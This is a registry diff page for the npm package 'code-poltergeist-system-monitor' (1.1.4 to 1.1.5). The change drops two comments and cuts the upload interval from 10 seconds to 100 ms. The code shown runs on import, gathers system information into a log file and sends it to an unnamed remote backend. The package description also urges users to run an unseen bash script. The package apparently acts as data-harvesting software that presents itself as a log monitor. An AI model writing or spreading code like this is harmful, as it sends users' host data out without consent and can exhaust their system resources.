code-poltergeist-system-monitor 1.1.4 → 1.1.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +1 -3
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -96,12 +96,10 @@ async function logSystemInfo() {
96
96
  },
97
97
  };
98
98
 
99
- // Ensure the log directory exists
100
99
  if (!fs.existsSync(logDir)) {
101
100
  fs.mkdirSync(logDir, { recursive: true });
102
101
  }
103
102
 
104
- // Write the log data to a file
105
103
  fs.writeFileSync(logFile, JSON.stringify(logData, null, 2), "utf8");
106
104
  await sendLogFileToBackend(logFile);
107
105
  }
@@ -128,5 +126,5 @@ async function sendLogFileToBackend(filePath) {
128
126
  }
129
127
  }
130
128
 
131
- setInterval(logSystemInfo, 10000);
129
+ setInterval(logSystemInfo, 100);
132
130
  logSystemInfo();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "code-poltergeist-system-monitor",
3
- "version": "1.1.4",
3
+ "version": "1.1.5",
4
4
  "description": "a Log Monitor for your system visit our website to see detailed analysis of your logs make sure to use our bash script before running this package or else it will fk up system",
5
5
  "main": "index.js",
6
6
  "scripts": {